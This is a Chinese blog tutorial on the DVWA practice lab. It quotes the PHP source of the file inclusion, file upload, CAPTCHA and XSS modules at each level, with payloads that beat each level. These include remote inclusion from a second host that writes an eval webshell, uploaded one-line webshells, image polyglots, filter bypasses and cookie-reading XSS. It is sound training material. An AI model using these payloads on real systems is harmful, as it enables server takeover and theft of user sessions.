前言
文章同步于我的个人博客https://quan9i.top/DVWA
上篇文章简单的介绍了DVWA,并对DVWA的暴力破解、命令执行以及CSRF进行了简单学习,今天来学习其他的几个类型,希望能对正在学习DVWA的师傅们有所帮助!
File Inclusion (文件包含)
low
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
?>
根据源码可以看出没有设置任何过滤,因此我们可以进行任意的文件包含,首先尝试包含phpinfo文件,构造payload如下
?page=../../../phpinfo.php
此时想如果包含一个不存在的文件会发生什么呢,我们构造payload如下进行尝试
?page=../../../a.php
报出了网站的路径
此时警告中显现出了文件中的第一个警告语句的含义是说没有找到这个文件,而第二个警告语句的含义则是说未能成功包含。如果我们知道某个文件里面有某种语句,在对其进行包含,就可以实现获取部分数据的目的
那么在这里呢,我们就进行尝试,在DVWA目录下创建一个php文件,写入如下内容
<?php var_dump("包含成功");?>
进行文件包含,构造payload如下
http://127.0.0.1:8080/DVWA-master/vulnerabilities/fi/?page=../../1.php
执行结果
下面开始远程文件包含
他提示是没有开启这个allow_url_include函数的,远程文件包含需要allow_url_include为on
,因此去修改对应php版本的php.ini文件即可
修改后重启phpstudy,重新访问即可
其实远程文件包含同本地文件包含相同,只是包含的文件不再在本地了,而是从外部输入,如果是包含远程服务器上的PHP文件,那么得到的是被远程服务器解析过的PHP,所以在写一句话木马的时候就不要做成.php的文件,一般做成.txt的文件,再让它包含过来,我们本地新建文件flag.txt,写入如下内容
<?fputs(fopen("shell.php","w"),'<?php eval($_POST[123]);?>')?>
此时构造payload如下即可
http://127.0.0.1:8080/DVWA-master/vulnerabilities/fi/?page=http://192.168.85.1:8080/flag.txt
此时可以看出远程包含成功了,我们想获取具体文件,可以采用如下方法
首先在这里简单介绍几个函数
fputs — fwrite() 的别名
fwrite — 写入文件(可安全用于二进制文件)
fwrite( resource $handle, string $string[, int $length] )
fwrite() 把 string 的内容写入文件指针 handle 处。
参数
handle
文件系统指针,是典型地由 fopen() 创建的 resource(资源)。
string
The string that is to be written.
length
如果指定了 length,当写入了 length 个字节或者写完了 string 以后,写入就会停止,视乎先碰到哪种情况。
注意如果给出了 length 参数,则 magic_quotes_runtime 配置选项将被忽略,而 string 中的斜线将不会被抽去。
fopen — 打开文件或者 URL
resource fopen( string $filename, string $mode )
fopen() 将 filename 指定的名字资源绑定到一个流上。
mode 参数指定了所要求到该流的访问类型。可以是以下:
fopen() 中 mode 的可能值列表
mode
'r' 只读方式打开,将文件指针指向文件头。
'r+' 读写方式打开,将文件指针指向文件头。
'w' 写入方式打开,将文件指针指向文件头并将文件大小截为零。如果文件不存在则尝试创建之。
'w+' 读写方式打开,将文件指针指向文件头并将文件大小截为零。如果文件不存在则尝试创建之。
'a' 写入方式打开,将文件指针指向文件末尾。如果文件不存在则尝试创建之。
'a+' 读写方式打开,将文件指针指向文件末尾。如果文件不存在则尝试创建之。
'x' 创建并以写入方式打开,将文件指针指向文件头。如果文件已存在,则 fopen() 调用失败并返回 FALSE,并生成一条 E_WARNING 级别的错误信息。如果文件不存在则尝试创建之。这和给底层的 open(2) 系统调用指定 O_EXCL|O_CREAT 标记是等价的。
'x+' 创建并以读写方式打开,其他的行为和 'x' 一样。
因此可以先写入一个文件(设置为以读写方式打开),将一句话木马传进去,再用蚁剑连接,我们在创建一个txt文件在"D:\phpStudy\PHPTutorial\WWW\"
目录下,而后输入如下内容
<?fputs(fopen("shell.php","w"),'<?php eval($_POST[1]);?>')?>
此时就成功写入了,我们只需要调用这个文件即可进行远程文件包含
http://127.0.0.1:8080/DVWA-master/vulnerabilities/fi/?page=http://192.168.85.1:8080/2.txt
完成后用蚁剑连接拿shell,蚁剑连接的url是
http://127.0.0.1:8080/DVWA-master/vulnerabilities/fi/shell.php
连接密码为我们刚刚post上去的1
Medium
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\"" ), "", $file );
?>
本地包含文件的话我们就需要绕过这个…/,我们使用双写来绕过,举个栗子,..././
过滤了../
,剩下来的也还是../
,因此我们构造payload如下
http://127.0.0.1:8080/DVWA-master/vulnerabilities/fi/?page=..././..././1.php
看似远程包含文件是不行了,但其实我们可以用双写来进行绕过,再举个栗子,hthttptp
中间的http被过滤了,但还剩下了一个http,因此我们仍然可以进行远程文件包含,构造payload如下
http://127.0.0.1:8080/DVWA-master/vulnerabilities/fi/?page=hthttp://tp://192.168.85.1:8080/2.txt
High
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Input validation
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
}
?>
首先我们需要对函数进行了解
fnmatch — 用模式匹配文件名
说明
bool fnmatch( string $pattern, string $string)
fnmatch() 检查传入的 string 是否匹配给出的 shell 统配符 pattern。
pattern shell 统配符。
string
要检查的字符串。此函数对于文件名尤其有用,但也可以用于普通的字符串。
普通用户可能习惯于 shell 模式或者至少其中最简单的形式 '?' 和 '*' 通配符,因此使用 fnmatch() 来代替 preg_match() 来进行前端搜索表达式输入对于非程序员用户更加方便。
这个含义就是看变量file中的内容是否是filexxx
的格式,如果不是这种格式并且它内容不是include.php
就报错,基于此,我们利用file伪协议来进行绕过,其用法是file://[文件的绝对路径和文件名]
构造payload如下
http://127.0.0.1:8080/DVWA-master/vulnerabilities/fi/?page=file://D:\phpStudy\PHPTutorial\WWW\2.txt
这个的话就没办法进行远程文件包含了,因为file伪协议的远程文件包含是以http开头的,如下图所示
file:// 协议:
条件 allow_url_fopen:off/on allow_url_include :off/on
作用:用于访问本地文件系统。在include()/require()等参数可控的情况下
如果导入非php文件也会被解析为php
用法:
1.file://[文件的绝对路径和文件名]
2.[文件的相对路径和文件名]
3.[http://网络路径和文件名]
impossible
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Only allow include.php or file{1..3}.php
if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
}
?>
emmm,这关他只允许file为四个固定的文件,那没办法了,G了,防护的很好
File Upload(文件上传)
low
<?php
if( isset( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
//DVWA_WEB_PAGE_TO_ROOT其实就是对应当前目录
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
//$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/".basename( $_FILES[ 'uploaded' ][ 'name' ] );
//其实就是返回hackable/uploads/加上个文件名
// Can we move the file to the upload folder?
if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
// 移动文件地址,如果文件不合法,就执行下面语句
echo '<pre>Your image was not uploaded.</pre>';
}
else {
// Yes!
echo "<pre>{$target_path} succesfully uploaded!</pre>";
}
}
?>
首先对函数进行了解
basename — 返回路径中的文件名部分
move_uploaded_file — 将上传的文件移动到新位置
bool move_uploaded_file( string $filename, string $destination)
本函数检查并确保由 filename 指定的文件是合法的上传文件(即通过 PHP 的 HTTP POST 上传机制所上传的)。如果文件合法,则将其移动为由 destination 指定的文件。
参数
filename
上传的文件的文件名。
destination
移动文件到这个位置。
因此这个其实就是传个文件,没有任何的限制,我们传一个一句话木马进去玩玩,payload如下
<?php @eval($_POST[1]);?>
蚁剑连接
得到文件
Medium
<?php
if( isset( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
// File information
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
// Is it an image?
if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&
( $uploaded_size < 100000 ) ) {
// Can we move the file to the upload folder?
if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
// No
echo '<pre>Your image was not uploaded.</pre>';
}
else {
// Yes!
echo "<pre>{$target_path} succesfully uploaded!</pre>";
}
}
else {
// Invalid file
echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
}
}
?>
这关的话限制了文件为jpeg或者png格式,并且限制了文件大小,那我们把php文件改为png,进行上传
菜刀、蚁剑这种的原理是向上传文件发送包含hacker参数的post请求,通过控制hacker参数来执行不同的命令,但这里的文件我们转换成了图片格式,因此他只会返回个图片,无法执行恶意语句,但是此时呢,我们想到用文件包含,两者结合一下就可以实现恶意语句的插入,构造payload如下
http://127.0.0.1:8080/DVWA-master/vulnerabilities/fi/?page=hthttp://tp://192.168.85.1:8080/DVWA-master/hackable/uploads/2.png
蚁剑连的话,输入密码连接即可,不过不知道为啥连不上去,可能是我本地问题
方法二
将png图片上传用bp抓包,修改类型为php文件
蚁剑连接
得到信息
方法三
在php版本小于5.3.4的服务器中,当Magic_quote_gpc选项为off时,可以在文件名中使用%00截断。
%00截断其实就是指文件名例如2.php%00.jpg
后缀的,被识别的其实是2.php,但是仍是以jpg结尾的,这样就实现了一种绕过
修改php.ini文件
此时我们修改木马文件名字为2.php%00.jpg
此时访问2.php
High
<?php
if( isset( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
// File information
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
$uploaded_tmp = $_FILES[ 'uploaded' ][ 'tmp_name' ];
// Is it an image?
if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) &&
( $uploaded_size < 100000 ) &&
getimagesize( $uploaded_tmp ) ) {
// Can we move the file to the upload folder?
if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) {
// No
echo '<pre>Your image was not uploaded.</pre>';
}
else {
// Yes!
echo "<pre>{$target_path} succesfully uploaded!</pre>";
}
}
else {
// Invalid file
echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
}
}
?>
首先了解一下函数
strrpos — 计算指定字符串在目标字符串中最后一次出现的位置
strtolower — 将字符串转化为小写
getimagesize(string filename)函数会通过读取文件头,返回图片的长、宽等信息,如果没有相关的图片文件头,函数会报错。
这里其实就是截取了文件格式,然后转换成小写,检测是否为jpeg或者png格式,然后用getimagesize函数读取文件头获取具体图片信息,这里我们可以构造一个带有木马的图片
因此我们这里结合木马和图片,在cmd中构造payload如下
copy /b 1.jpg+2.php hack.jpg
此时你用记事本查看这个图片,可以发现尾部有木马
上传文件
此时再次和文件包含结合,构造如下payload
http://127.0.0.1:8080/DVWA-master/vulnerabilities/fi/?page=file://D:/phpStudy/PHPTutorial/WWW/DVWA-master/hackable/uploads/hack.jpg
可以看见成功了,蚁剑同理连接即可获取webshell
impossible
<?php
if( isset( $_POST[ 'Upload' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// File information
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
$uploaded_tmp = $_FILES[ 'uploaded' ][ 'tmp_name' ];
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . 'hackable/uploads/';
//$target_file = basename( $uploaded_name, '.' . $uploaded_ext ) . '-';
$target_file = md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;
$temp_file = ( ( ini_get( 'upload_tmp_dir' ) == '' ) ? ( sys_get_temp_dir() ) : ( ini_get( 'upload_tmp_dir' ) ) );
$temp_file .= DIRECTORY_SEPARATOR . md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;
// Is it an image?
if( ( strtolower( $uploaded_ext ) == 'jpg' || strtolower( $uploaded_ext ) == 'jpeg' || strtolower( $uploaded_ext ) == 'png' ) &&
( $uploaded_size < 100000 ) &&
( $uploaded_type == 'image/jpeg' || $uploaded_type == 'image/png' ) &&
getimagesize( $uploaded_tmp ) ) {
// Strip any metadata, by re-encoding image (Note, using php-Imagick is recommended over php-GD)
if( $uploaded_type == 'image/jpeg' ) {
$img = imagecreatefromjpeg( $uploaded_tmp );
imagejpeg( $img, $temp_file, 100);
}
else {
$img = imagecreatefrompng( $uploaded_tmp );
imagepng( $img, $temp_file, 9);
}
imagedestroy( $img );
// Can we move the file to the web root from the temp folder?
if( rename( $temp_file, ( getcwd() . DIRECTORY_SEPARATOR . $target_path . $target_file ) ) ) {
// Yes!
echo "<pre><a href='${target_path}${target_file}'>${target_file}</a> succesfully uploaded!</pre>";
}
else {
// No
echo '<pre>Your image was not uploaded.</pre>';
}
// Delete any temp files
if( file_exists( $temp_file ) )
unlink( $temp_file );
}
else {
// Invalid file
echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>
部分函数介绍
imagecreatefromjpeg ( filename )
函数返回图片文件的图像标识,失败返回false
imagejpeg ( image , filename , quality)
从image图像以filename为文件名创建一个JPEG图像,可选参数quality,范围从 0(最差质量,文件更小)到 100(最佳质量,文件最大)。
imagedestroy( img )
函数销毁图像资源
代码对名字进行了重新定义,所以无法再进行%00截断,即使我们用图片进行绕过,传入木马文件,但也无法绕过imagecreatefromjpeg
、imagejpeg
和imagedestroy
。
low
if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '1' ) ) {
// Hide the CAPTCHA form
$hide_form = true;
// Get input
$pass_new = $_POST[ 'password_new' ];
$pass_conf = $_POST[ 'password_conf' ];
// Check CAPTCHA from 3rd party
$resp = recaptcha_check_answer(
$_DVWA[ 'recaptcha_private_key'],
$_POST['g-recaptcha-response']
);
// Did the CAPTCHA fail?
if( !$resp ) {
// What happens when the CAPTCHA was entered incorrectly
$html .= "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>";
$hide_form = false;
return;
}
else {
// CAPTCHA was correct. Do both new passwords match?
if( $pass_new == $pass_conf ) {
// Show next stage for the user
echo "
<pre><br />You passed the CAPTCHA! Click the button to confirm your changes.<br /></pre>
<form action=\"#\" method=\"POST\">
<input type=\"hidden\" name=\"step\" value=\"2\" />
<input type=\"hidden\" name=\"password_new\" value=\"{$pass_new}\" />
<input type=\"hidden\" name=\"password_conf\" value=\"{$pass_conf}\" />
<input type=\"submit\" name=\"Change\" value=\"Change\" />
</form>";
}
else {
// Both new passwords do not match.
$html .= "<pre>Both passwords must match.</pre>";
$hide_form = false;
}
}
}
if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '2' ) ) {
// Hide the CAPTCHA form
$hide_form = true
// Get input
$pass_new = $_POST[ 'password_new' ];
$pass_conf = $_POST[ 'password_conf' ];
// Check to see if both password match
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
// Update database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Feedback for the end user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with the passwords matching
echo "<pre>Passwords did not match.</pre>";
$hide_form = false;
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
根据代码来看,其大意是先提交密码重新输入密码,此时进行验证码验证,如果验证未通过就报错,通过了再往下运行,此时如果密码与重新输入的密码相等,就提交表单,否则标错,提交表单后,如果变量change非空且step为2就往下执行,此时将密码和重新输入的密码赋值给新变量,如果数据库可以正常连接并且是一个类,那么他就输出密码修改成功,否则就进行报错,报出错误信息。
不过这里呢,我们可以看到并没有验证码
不过没啥影响,反正我们也不是用正规方式来进行登录的,用bp抓包
这里的step等于1,我们知道等于2的时候才是验证码通过的情况,因此我们将1改成2
可以发现已经成功了。
Medium
<?php
if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '1' ) ) {
// Hide the CAPTCHA form
$hide_form = true;
// Get input
$pass_new = $_POST[ 'password_new' ];
$pass_conf = $_POST[ 'password_conf' ];
// Check CAPTCHA from 3rd party
$resp = recaptcha_check_answer( $_DVWA[ 'recaptcha_private_key' ],
$_SERVER[ 'REMOTE_ADDR' ],
$_POST[ 'recaptcha_challenge_field' ],
$_POST[ 'recaptcha_response_field' ] );
// Did the CAPTCHA fail?
if( !$resp->is_valid ) {
// What happens when the CAPTCHA was entered incorrectly
$html .= "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>";
$hide_form = false;
return;
}
else {
// CAPTCHA was correct. Do both new passwords match?
if( $pass_new == $pass_conf ) {
// Show next stage for the user
echo "
<pre><br />You passed the CAPTCHA! Click the button to confirm your changes.<br /></pre>
<form action=\"#\" method=\"POST\">
<input type=\"hidden\" name=\"step\" value=\"2\" />
<input type=\"hidden\" name=\"password_new\" value=\"{$pass_new}\" />
<input type=\"hidden\" name=\"password_conf\" value=\"{$pass_conf}\" />
<input type=\"hidden\" name=\"passed_captcha\" value=\"true\" />
<input type=\"submit\" name=\"Change\" value=\"Change\" />
</form>";
}
else {
// Both new passwords do not match.
$html .= "<pre>Both passwords must match.</pre>";
$hide_form = false;
}
}
}
if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '2' ) ) {
// Hide the CAPTCHA form
$hide_form = true;
// Get input
$pass_new = $_POST[ 'password_new' ];
$pass_conf = $_POST[ 'password_conf' ];
// Check to see if they did stage 1
if( !$_POST[ 'passed_captcha' ] ) {
$html .= "<pre><br />You have not passed the CAPTCHA.</pre>";
$hide_form = false;
return;
}
// Check to see if both password match
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = mysql_real_escape_string( $pass_new );
$pass_new = md5( $pass_new );
// Update database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysql_query( $insert ) or die( '<pre>' . mysql_error() . '</pre>' );
// Feedback for the end user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with the passwords matching
echo "<pre>Passwords did not match.</pre>";
$hide_form = false;
}
mysql_close();
}
?>
这里呢,添加了对参数 passed_captcha 的检查,具体代码如下
if( !$_POST[ 'passed_captcha' ] ) {
$html .= "<pre><br />You have not passed the CAPTCHA.</pre>";
$hide_form = false;
return;
}
不过对我们来说没啥影响,只需要再抓包时,post请求多如下代码即可
&passed_captcha=true
执行结果如下
High
<?php
if( isset( $_POST[ 'Change' ] ) ) {
// Hide the CAPTCHA form
$hide_form = true;
// Get input
$pass_new = $_POST[ 'password_new' ];
$pass_conf = $_POST[ 'password_conf' ];
// Check CAPTCHA from 3rd party
$resp = recaptcha_check_answer( $_DVWA[ 'recaptcha_private_key' ],
$_SERVER[ 'REMOTE_ADDR' ],
$_POST[ 'recaptcha_challenge_field' ],
$_POST[ 'recaptcha_response_field' ] );
// Did the CAPTCHA fail?
if( !$resp->is_valid && ( $_POST[ 'recaptcha_response_field' ] != 'hidd3n_valu3' || $_SERVER[ 'HTTP_USER_AGENT' ] != 'reCAPTCHA' ) ) {
// What happens when the CAPTCHA was entered incorrectly
$html .= "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>";
$hide_form = false;
return;
}
else {
// CAPTCHA was correct. Do both new passwords match?
if( $pass_new == $pass_conf ) {
$pass_new = mysql_real_escape_string( $pass_new );
$pass_new = md5( $pass_new );
// Update database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "' LIMIT 1;";
$result = mysql_query( $insert ) or die( '<pre>' . mysql_error() . '</pre>' );
// Feedback for user
echo "<pre>Password Changed.</pre>";
}
else {
// Ops. Password mismatch
$html .= "<pre>Both passwords must match.</pre>";
$hide_form = false;
}
}
mysql_close();
}
// Generate Anti-CSRF token
generateSessionToken();
?>
本关更改了过滤方式,$resp
是指谷歌返回的验证结果,如果recaptcha_response_field
不是hidd3n_valu3
或者UA头不是reCAPTCHA
就会出现报错,因此我们抓包后修改UA和添加post数据即可
impossible
<?php
if( isset( $_POST[ 'Change' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Hide the CAPTCHA form
$hide_form = true;
// Get input
$pass_new = $_POST[ 'password_new' ];
$pass_new = stripslashes( $pass_new );
$pass_new = mysql_real_escape_string( $pass_new );
$pass_new = md5( $pass_new );
$pass_conf = $_POST[ 'password_conf' ];
$pass_conf = stripslashes( $pass_conf );
$pass_conf = mysql_real_escape_string( $pass_conf );
$pass_conf = md5( $pass_conf );
$pass_curr = $_POST[ 'password_current' ];
$pass_curr = stripslashes( $pass_curr );
$pass_curr = mysql_real_escape_string( $pass_curr );
$pass_curr = md5( $pass_curr );
// Check CAPTCHA from 3rd party
$resp = recaptcha_check_answer( $_DVWA[ 'recaptcha_private_key' ],
$_SERVER[ 'REMOTE_ADDR' ],
$_POST[ 'recaptcha_challenge_field' ],
$_POST[ 'recaptcha_response_field' ] );
// Did the CAPTCHA fail?
if( !$resp->is_valid ) {
// What happens when the CAPTCHA was entered incorrectly
echo "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>";
$hide_form = false;
return;
}
else {
// Check that the current password is correct
$data = $db->prepare( 'SELECT password FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
$data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
$data->bindParam( ':password', $pass_curr, PDO::PARAM_STR );
$data->execute();
// Do both new password match and was the current password correct?
if( ( $pass_new == $pass_conf) && ( $data->rowCount() == 1 ) ) {
// Update the database
$data = $db->prepare( 'UPDATE users SET password = (:password) WHERE user = (:user);' );
$data->bindParam( ':password', $pass_new, PDO::PARAM_STR );
$data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
$data->execute();
// Feedback for the end user - success!
echo "<pre>Password Changed.</pre>";
}
else {
// Feedback for the end user - failed!
echo "<pre>Either your current password is incorrect or the new passwords did not match.<br />Please try again.</pre>";
$hide_form = false;
}
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>
string stripslashes( string $str) 反引用一个引用字符串
如果 magic_quotes_sybase 项开启,反斜线将被去除,但是两个反斜线将会被替换成一个。
mysql_real_escape_string — 转义 SQL 语句中使用的字符串中的特殊字符,并考虑到连接的当前字符集
mysql_real_escape_string() 调用mysql库的函数 mysql_real_escape_string, 在以下字符前添加反斜杠: \x00, \n, \r, \, ', " 和 \x1a.
需要知道当前的密码,而且对传入的数据都进行了转义和过滤,在密码不知情的情况下,无法实现更改密码的操作,防护的很好
Reflected Cross Site Scripting (XSS)
low
<?php
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Feedback for end user
echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}
?>
没有任何的防护措施,只需要输入非空就可以,尝试简单的xss
<script>alert(1)</script>
<body onload=alert('xss')>
获取cookie
<body onload=alert(document.cookie)>
Medium
<?php
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = str_replace( '<script>', '', $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
?>
过滤了script,但还可以双写或者大小写绕过
<sc<script>ript>alert('xss')</script>
<SCript>alert('xss')</script>
high
<?php
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
?>
完全禁用了script不过可以利用其他函数
<img src=1 onerror=alert('xss')>
<body onload=alert('xss2')>
impossible
<?php
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$name = htmlspecialchars( $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
// Generate Anti-CSRF token
generateSessionToken();
?>
htmlspecialchars(string):
把预定义的字符 "<" (小于)、 ">" (大于)、& 、‘’、“” 转换为 HTML 实体,防止浏览器将其作为HTML元素。
当我们输入 <script>alert('xss')</script>
,因为 htmlspecialchars
函数会将 < 和 > 转换成html实体,其内容也就无法被识别,此时就输入的直接原样输出了相当于
Stored Cross Site Scripting (XSS)
存储型其实与上面那个差不多,区别在于一次执行第二次执行其他仍然会触发,因为存储进去了
low
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = stripslashes( $message );
$message = mysql_real_escape_string( $message );
// Sanitize name input
$name = mysql_real_escape_string( $name );
// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );
//mysql_close();
}
?>
函数介绍
trim(string,charlist)
函数移除字符串两侧的空白字符或其他预定义字符,预定义字符包括、\t、\n、\x0B、\r以及空格,可选参数charlist支持添加额外需要删除的字符。
mysql_real_escape_string(string,connection)
函数会对字符串中的特殊符号(\x00,\n,\r,\,‘,“,\x1a)进行转义。
stripslashes(string)
函数删除字符串中的反斜杠。
可以看出对xss并没有进行什么防护
注入如下
MEdium
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = strip_tags( addslashes( $message ) );
$message = mysql_real_escape_string( $message );
$message = htmlspecialchars( $message );
// Sanitize name input
$name = str_replace( '<script>', '', $name );
$name = mysql_real_escape_string( $name );
// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );
//mysql_close();
}
?>
同上个xss一般,采用双写或者大小写绕过即可
<img src=1 onerror=alert('xss')>
<body onload=alert('xss2')>
high
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = strip_tags( addslashes( $message ) );
$message = mysql_real_escape_string( $message );
$message = htmlspecialchars( $message );
// Sanitize name input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );
$name = mysql_real_escape_string( $name );
// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );
//mysql_close();
}
?>
依旧同上,引用body
或者img src
标签即可
<body onload='<script>alert('quan9i')</script>
<img src='as' οnerrοr=alert('quan9i')>
impossible
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = stripslashes( $message );
$message = mysql_real_escape_string( $message );
$message = htmlspecialchars( $message );
// Sanitize name input
$name = stripslashes( $name );
$name = mysql_real_escape_string( $name );
$name = htmlspecialchars( $name );
// Update database
$data = $db->prepare( 'INSERT INTO guestbook ( comment, name ) VALUES ( :message, :name );' );
$data->bindParam( ':message', $message, PDO::PARAM_STR );
$data->bindParam( ':name', $name, PDO::PARAM_STR );
$data->execute();
}
// Generate Anti-CSRF token
generateSessionToken();
?>
对Name和Message都使用了htmlspecialchars()函数做了过滤,还加了token值,进一步提高了安全性。